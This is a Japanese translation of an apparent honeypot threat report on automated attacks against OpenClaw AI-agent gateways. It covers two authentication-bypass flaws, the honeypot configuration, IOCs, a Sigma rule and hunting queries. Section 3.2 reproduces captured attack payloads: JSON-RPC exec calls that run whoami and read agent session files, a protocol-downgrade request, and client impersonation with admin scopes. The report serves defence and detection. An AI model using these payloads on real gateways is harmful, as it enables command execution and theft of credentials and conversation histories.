OpenClaw ゲートウェイインフラストラクチャをターゲットとした自動エクスプロイテーションキャンペーン

エグゼクティブサマリー

属性 詳細
最初に観察 2026-02-01 19:08:53 UTC
攻撃の起点 ポルトガル (185.180.141.19)
攻撃ツール gitmc-org-mcp-scanner, raw JSON-RPC コマンド
主なターゲット OpenClaw Gateway WebSocket API (ポート 18789)

結論: 自動エクスプロイテーションキャンペーンが OpenClaw Gateway デプロイメントを積極的にターゲットとしています。攻撃者は正確なプロトコル知識を示し、認証バイパスの脆弱性を悪用し、認証情報と会話履歴を抽出するための体系的な 3 段階のプレイブックに従っています。パッチが当たっていないインスタンスは即座の危険にさらされています。


1. 攻撃の概要

1.1 背景

OpenClaw は、ポート 18789 で WebSocket API を公開する AI エージェントゲートウェイプラットフォームです。最近のパッチまで、この API は以下を行っていました:

  • 設定がない場合、デフォルトで認証なし
  • すべてのリバースプロキシ接続を localhost として信頼
  • 認証されたクライアントに機密設定とチャット履歴を公開

OpenClaw Gateway を模倣する Beelzebub ハニーポットを展開して、攻撃者の行動を観察しました。最初のプローブは 45 分以内に到着しました。

1.1.1 Beelzebub 構成

すべての標準エンドポイント全体で OpenClaw Gateway レスポンスをシミュレートするように構成された Beelzebub ハニーポットをデプロイしました。

エミュレートされたエンドポイント:

エンドポイント 目的
/, /ws WebSocket ハンドシェイク (101 アップグレード)
/mcp MCP JSON-RPC エンドポイント
/sse Server-Sent Events トランスポート
/ui コントロール UI インターフェース
/tools/invoke ツール呼び出し (401 を返す)
/v1/chat/completions OpenAI 互換 API
/v1/responses OpenResponses API
/hooks/* ウェブフック トリガー
/health, /status, /metrics サービスフィンガープリント

構成

apiVersion: "v1"
protocol: "http"
address: ":18789"
description: "OpenClaw Gateway decoy"
commands:
  # --------------------------
  # WebSocket handshake decoy
  # --------------------------
  # Note: Sec-WebSocket-Accept here is static (not computed from Sec-WebSocket-Key).
  # This is enough to trick many scanners; strict WS clients may reject it.
  - regex: "^/$"
    headers:
      - "Server: openclaw-gateway"
      - "Connection: Upgrade"
      - "Upgrade: websocket"
      - "Sec-WebSocket-Version: 13"
      - "Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=" # dummy
      - "Cache-Control: no-store"
    statusCode: 101
    handler: ""

  - regex: "^/ws$"
    headers:
      - "Server: openclaw-gateway"
      - "Connection: Upgrade"
      - "Upgrade: websocket"
      - "Sec-WebSocket-Version: 13"
      - "Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=" # dummy
      - "Cache-Control: no-store"
    statusCode: 101
    handler: ""

  # --------------------------
  # Control UI (HTTP fallback)
  # --------------------------
  - regex: "^/ui/?$"
    headers:
      - "Content-Type: text/html; charset=utf-8"
      - "Server: openclaw-gateway"
      - "Cache-Control: no-store"
    statusCode: 200
    handler: |
      <!doctype html>
      <html>
      <head><meta charset="utf-8"><title>OpenClaw Gateway</title></head>
      <body>
        <h1>OpenClaw Gateway</h1>
        <p>Control UI is enabled.</p>
        <ul>
          <li><code>/tools/invoke</code></li>
          <li><code>/v1/chat/completions</code></li>
          <li><code>/v1/responses</code></li>
          <li><code>/hooks/*</code></li>
          <li><code>WS:</code> <code>/</code> or <code>/ws</code></li>
        </ul>
      </body>
      </html>

  # --------------------------
  # Basic probes
  # --------------------------
  - regex: "^/(health|status|metrics)$"
    headers:
      - "Content-Type: application/json"
      - "Server: openclaw-gateway"
      - "Cache-Control: no-store"
    statusCode: 200
    handler: |
      {"ok":true,"service":"openclaw-gateway","version":"0.0.0","note":"decoy"}

  # --------------------------
  # Tools Invoke (POST /tools/invoke)
  # Always enabled in real OpenClaw, but gated by auth/policy
  # --------------------------
  - regex: "^/tools/invoke$"
    headers:
      - "Content-Type: application/json"
      - "Server: openclaw-gateway"
      - "WWW-Authenticate: Bearer realm=\"openclaw\""
      - "Cache-Control: no-store"
    statusCode: 401
    handler: |
      {"error":{"message":"Unauthorized","type":"auth_error","code":"invalid_api_key"}}

  # --------------------------
  # OpenAI-compatible (POST /v1/chat/completions) – often disabled by default
  # --------------------------
  - regex: "^/v1/chat/completions$"
    headers:
      - "Content-Type: application/json"
      - "Server: openclaw-gateway"
      - "Cache-Control: no-store"
    statusCode: 404
    handler: |
      {"error":{"message":"Not Found (endpoint disabled)","type":"not_found","code":"endpoint_disabled"}}

  # --------------------------
  # OpenResponses-compatible (POST /v1/responses) – often disabled by default
  # --------------------------
  - regex: "^/v1/responses$"
    headers:
      - "Content-Type: application/json"
      - "Server: openclaw-gateway"
      - "Cache-Control: no-store"
    statusCode: 404
    handler: |
      {"error":{"message":"Not Found (endpoint disabled)","type":"not_found","code":"endpoint_disabled"}}

  # --------------------------
  # Hooks (/hooks/wake, /hooks/agent, /hooks/<name>)
  # --------------------------
  - regex: "^/hooks/(wake|agent)$"
    headers:
      - "Content-Type: application/json"
      - "Server: openclaw-gateway"
      - "WWW-Authenticate: Bearer realm=\"openclaw-hooks\""
      - "Cache-Control: no-store"
    statusCode: 401
    handler: |
      {"error":{"message":"Unauthorized hook","type":"auth_error","code":"invalid_hook_token"}}

  - regex: "^/hooks/[^/]+$"
    headers:
      - "Content-Type: application/json"
      - "Server: openclaw-gateway"
      - "WWW-Authenticate: Bearer realm=\"openclaw-hooks\""
      - "Cache-Control: no-store"
    statusCode: 401
    handler: |
      {"error":{"message":"Unauthorized hook mapping","type":"auth_error","code":"invalid_hook_token"}}

  # --------------------------
  # Canvas hint (redirect to canvas host)
  # --------------------------
  - regex: "^/__openclaw__/canvas/?$"
    headers:
      - "Location: http://127.0.0.1:18793/__openclaw__/canvas/"
      - "Server: openclaw-gateway"
      - "Cache-Control: no-store"
    statusCode: 301
    handler: ""

  # --------------------------
  # Catch-all with LLM
  # --------------------------
  - regex: "^.*$"
    plugin: "LLMHoneypot"

完全な構成については、Beelzebub API ドキュメントを参照してください。

1.2 攻撃者の目的

成功した侵害は以下をもたらします:

資産 影響
API キー LLM 悪用のための Anthropic、OpenAI 認証情報
ゲートウェイ認証情報 完全な管理者アクセス
チャネル トークン Telegram、Discord、Slack ボットの乗っ取り
会話履歴 完全なユーザー AI インタラクションログ
ノードインフラストラクチャマップ マルチノードデプロイメントでのサイドムーブメント

1.3 主な知見

  1. 直接プロトコル攻撃: シェルエクスキューション用の生 JSON-RPC コマンドの送信
  2. プロトコルダウングレード悪用: プローブが minProtocol: 1 を強制して、2026 年 1 月より前のリリースの認証の脆弱性をターゲットにします
  3. 正確なプロトコル知識: プローブされたメソッドの 100% が実際の OpenClaw ハンドラーにマップされます。これは推測ではありません
  4. 体系的な列挙: 3 段階のプレイブック (偵察 → 列挙 → 悪用) で最大値を抽出します
  5. クライアント偽装: 攻撃者は正当なクライアント識別子 (openclaw-control-ui、moltbot-control-ui) を偽装します

2. 脆弱性分析

2.1 認証バイパス (2026 年 1 月にパッチ適用)

根本原因: トークンまたはパスワードが構成されていないときに認証が none にデフォルト設定されました。

// VULNERABLE CODE
const mode: ResolvedGatewayAuth["mode"] =
  authConfig.mode ?? (password ? "password" : token ? "token" : "none");

// PATCHED CODE
const mode: ResolvedGatewayAuth["mode"] =
  authConfig.mode ?? (password ? "password" : "token");

影響: すべてのゲートウェイ機能への完全な非認証アクセス。

2.2 リバースプロキシ信頼バイパス (2026 年 1 月にパッチ適用)

根本原因: nginx/Caddy/Traefik の背後にあるゲートウェイは、すべてのプロキシ接続を信頼できる localhost として扱いました。

// VULNERABLE CODE
const isLocalClient = isLocalGatewayAddress(clientIp);
// Problem: clientIp was the proxy's address (127.0.0.1), not the real client

// PATCHED CODE
const hasProxyHeaders = Boolean(forwardedFor || realIp);
const remoteIsTrustedProxy = isTrustedProxyAddress(remoteAddr, trustedProxies);
const hasUntrustedProxyHeaders = hasProxyHeaders && !remoteIsTrustedProxy;
const isLocalClient = !hasUntrustedProxyHeaders && isLocalGatewayAddress(clientIp);

影響: 設定されていないリバースプロキシを通じてルーティングされる外部接続は認証を回避します。

3. 攻撃方法論

3.1 3 段階攻撃プレイブック

フェーズ 方法 目的
1. 偵察 health, system-presence, ping, version ターゲットを確認し、バージョンをフィンガープリント
2. 列挙 agents.list, sessions.list, models.list, node.list, device.pair.list 資産をインベントリ化し、価値を評価
3. 悪用 config.get, chat.history, tool (exec) 認証情報を抽出し、データを読み取り、コマンドを実行

3.2 攻撃技法

直接コマンド実行

シェルアクセス用の生 JSON-RPC:

{"id": 1, "method": "tool", "params": {"args": {"command": "whoami"}, "name": "exec"}, "jsonrpc": "2.0"}
{"id": 4, "method": "tool", "params": {"args": {"command": "cat ~/.openclaw/agents/*/sessions/*.jsonl"}, "name": "exec"}, "jsonrpc": "2.0"}

プロトコルダウングレード

パッチされた脆弱性を悪用するために古いプロトコルバージョンを強制する:

{"id": 1, "type": "req", "method": "connect", "params": {
  "client": {"id": "cli-client", "mode": "interactive", "version": "1.0.0", "platform": "linux"},
  "maxProtocol": 1, "minProtocol": 1
}}

クライアント偽装

正当なコントロール UI クライアントを偽装して、通常のトラフィックに混じる:

{"params": {
  "role": "operator",
  "client": {"id": "openclaw-control-ui", "mode": "webchat", "version": "dev"},
  "scopes": ["operator.admin", "operator.approvals", "operator.pairing"]
}}

3.3 プローブされたメソッド対実際のハンドラー

プローブされたすべてのメソッドは OpenClaw ソースの対応するハンドラーを持っています:

プローブされたメソッド ハンドラー位置 露出リスク
node.list src/gateway/server-methods/nodes.ts:223 インフラストラクチャマッピング
chat.history src/gateway/server-methods/chat.ts:184 完全な会話流出
device.pair.list src/gateway/server-methods/devices.ts:33 デバイス列挙
channels.status src/gateway/server-methods/channels.ts:70 チャネル認証情報の露出
config.schema src/gateway/server-methods/config.ts:101 構成構造
config.get src/gateway/server-methods/config.ts:* API キー、トークン (平文)

4. 技術的証拠

4.1 攻撃タイムライン

2026 年 2 月 1 日のすべての時刻は UTC です。

時刻 フェーズ アクティビティ
19:08:53 偵察 初期 WebSocket プローブ (GET /)
19:08:54 偵察 gitmc-org-mcp-scanner 経由の MCP 初期化
19:08:54 偵察 SSE エンドポイント プローブ (/sse)
19:08:56 悪用 直接コマンド実行試行 (whoami、ファイル読み込み)
19:08:57 悪用 プロトコルダウングレード試行 (minProtocol: 1)
19:08:58 悪用 クライアント偽装 (moltbot-control-ui)
19:08:59 列挙 体系的なメソッド列挙 (9 リクエストシーケンス)
19:09:00 偵察 汎用 API 発見 (ping, echo, version など)
19:09:01 悪用 別のフレームタイプ プロービング
19:09:02 悪用 奇形 JSON/パーサー ファジング

総攻撃期間: 完全な偵察から悪用サイクルまで約 9 秒。

4.2 スキャナー識別

{
  "clientInfo": {
    "name": "gitmc-org-mcp-scanner",
    "version": "1.0.0"
  },
  "protocolVersion": "2025-06-18",
  "capabilities": {
    "sampling": {},
    "elicitation": {},
    "roots": {"listChanged": true}
  }
}

4.3 完全な列挙シーケンス

単一の WebSocket セッションからキャプチャ:

{"id": "req-1", "type": "req", "method": "connect", "params": {...}}
{"id": "req-2", "type": "req", "method": "health", "params": {}}
{"id": "req-3", "type": "req", "method": "system-presence", "params": {}}
{"id": "req-4", "type": "req", "method": "agents.list", "params": {}}
{"id": "req-5", "type": "req", "method": "sessions.list", "params": {}}
{"id": "req-6", "type": "req", "method": "config.get", "params": {}}
{"id": "req-7", "type": "req", "method": "models.list", "params": {}}
{"id": "req-8", "type": "req", "method": "skills.status", "params": {}}
{"id": "req-9", "type": "req", "method": "cron.list", "params": {}}

4.4 バージョンターゲッティング証拠

プローブ特性 ターゲットバージョン
minProtocol: 1, maxProtocol: 1 2026 年 1 月以前 (デバイス ID なし)
minProtocol: 3, maxProtocol: 3 現在のリリース
role: "operator" (デバイスブロックなし) 古いリリース
role: "user" (webchat モード付き) 特権昇格テスト

5. 侵害の指標

5.1 ネットワーク IOC

IP Addresses:
  - 185.180.141.19  # ポルトガル、リスボン首都圏

User-Agent Patterns:
  - python-httpx/*
  - Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36

Ports:
  - 18789/tcp (OpenClaw Gateway デフォルト)

5.2 リクエスト署名

# MCP Scanner Initialization
- method: POST
  path: /mcp
  body_contains: '"method":"initialize"'
  body_contains: 'mcp-scanner'

# Direct Command Execution
- method: POST
  body_contains: '"method":"tool"'
  body_contains: '"name":"exec"'

# Protocol Downgrade
- body_contains: '"minProtocol": 1'
- body_contains: '"maxProtocol": 1'

# Client Impersonation
- body_contains: '"id":"moltbot-control-ui"'
- body_contains: '"id":"openclaw-control-ui"'

# Credential Extraction
- body_contains: '"method":"config.get"'
- body_contains: '"method":"chat.history"'

# Infrastructure Enumeration
- body_contains: '"method":"node.list"'
- body_contains: '"method":"agents.list"'
- body_contains: '"method":"sessions.list"'

6. 検出とハンティング

6.1 Sigma 検出ルール

title: OpenClaw Gateway Exploitation Attempt
id: b2c3d4e5-f6a7-8901-bcde-f23456789012
status: experimental
description: OpenClaw AI エージェントインフラストラクチャをターゲットとした MCP プロトコルスキャンと悪用試行を検出します
author: Beelzebub Security Labs
date: 2026/02/01
references:
  - https://github.com/mariocandela/beelzebub
  - https://openclaw.ai/
logsource:
  category: webserver
  product: any

detection:
  # Phase 1: Scanner Initialization
  scanner_init:
    cs-method: POST
    cs-uri-stem|contains: '/mcp'
    request_body|contains|all:
      - '"method":"initialize"'
      - 'mcp-scanner'

  # Phase 2: Direct Exploitation
  tool_execution:
    request_body|contains|all:
      - '"method":"tool"'
      - '"name":"exec"'

  credential_extraction:
    request_body|contains:
      - '"method":"config.get"'

  protocol_downgrade:
    request_body|contains|all:
      - '"minProtocol"'
      - ': 1'

  # Phase 3: Enumeration
  infrastructure_enum:
    request_body|contains:
      - '"method":"node.list"'
      - '"method":"agents.list"'
      - '"method":"sessions.list"'
      - '"method":"chat.history"'

  # Client Impersonation
  client_spoof:
    request_body|contains:
      - 'moltbot-control-ui'
      - 'openclaw-control-ui'

  condition: scanner_init or tool_execution or credential_extraction or protocol_downgrade or infrastructure_enum or client_spoof

falsepositives:
  - 既知の内部 IP からの正当な MCP クライアント初期化
  - 認可されたセキュリティテスト

level: high

tags:
  - attack.reconnaissance
  - attack.t1595
  - attack.t1046
  - attack.credential_access
  - attack.t1552

6.2 ハンティングクエリ

Splunk:

index=webserver sourcetype=access_combined
| search (uri_path="/mcp" OR uri_path="/ws" OR uri_path="/sse")
| where match(request_body, "(?i)(config\.get|chat\.history|node\.list|method.*tool.*exec)")
| stats count by src_ip, uri_path, request_body
| where count > 3

Elastic/KQL:

http.request.body.content: (*"method":"config.get"* OR *"method":"chat.history"* OR *"method":"node.list"* OR *"name":"exec"*)
AND url.path: ("/mcp" OR "/ws" OR "/sse")

優先度 アクション コマンド/構成
P0 OpenClaw を更新 2026 年 1 月 26 日より前のバージョンは脆弱です
P0 認証を確認 openclaw config get gateway.auth
P0 公開されたポートをブロック ファイアウォール ポート 18789 をパブリックアクセスから遮断

7.1 ネットワークアーキテクチャ

しない: OpenClaw ゲートウェイをインターネットに直接公開します。

推奨されるアクセスパターン:

  • ローカル開発: localhost のみにバインド
  • リモートアクセス: Tailscale Serve または IP ホワイトリスト付き VPN
  • 本番環境: 認証 API ゲートウェイを備えたプライベートネットワーク

7.2 認証情報のローテーション

侵害の疑いがある場合は、すぐにローテーションしてください:

  1. Anthropic API キー
  2. OpenAI API キー
  3. ゲートウェイ認証トークン
  4. チャネル トークン (Telegram、Discord、Slack)
  5. OpenClaw 構成に保存されている認証情報

7.3 監視実装

セクション 6 から検出ルールをデプロイし、以下を監視します:

  • /mcp、/ws、/sse への POST リクエスト
  • exec 名を持つ JSON-RPC tool メソッド
  • config.get および chat.history リクエスト
  • プロトコルダウングレード試行 (minProtocol: 1)
  • 偽装されたクライアント識別子

8. フレームワークマッピング

観察された行動 MITRE ATT&CK MITRE ATLAS OWASP API 2023 OWASP Agentic 2026
プロトコル列挙 T1595 アクティブスキャン AML.T0006 アクティブスキャン API9 不適切なインベントリ —
サービスフィンガープリント T1046 ネットワークサービス検出 — — —
AI エンドポイントプロービング T1595 アクティブスキャン AML.T0040 AI モデル推論 API — —
ツール呼び出し/RCE — AML.T0053 AI エージェント ツール呼び出し — ASI02 ツール悪用
システム検出 T1082 システム情報発見 AML.T0050 コマンドインタープリター — —
設定検出 — AML.T0084 AI エージェント設定を検出 — —
認証情報盗難 — AML.T0083 AI エージェント設定から認証情報 API5 機能認証の破損 ASI03 特権悪用
クライアント偽装 T1078 有効なアカウント AML.T0074 マスカレード API2 認証の破損 ASI03 特権悪用
パーサーファジング — — API8 セキュリティ設定ミス —

Beelzebub チームはインターネットを幸せでより安全な場所にするために取り組んでいます ❤️

翻訳元: https://beelzebub.ai/blog/automated-reconnaissance-targeting-openclaw-gateways/

本記事は beelzebub.ai の記事を翻訳・要約したものです。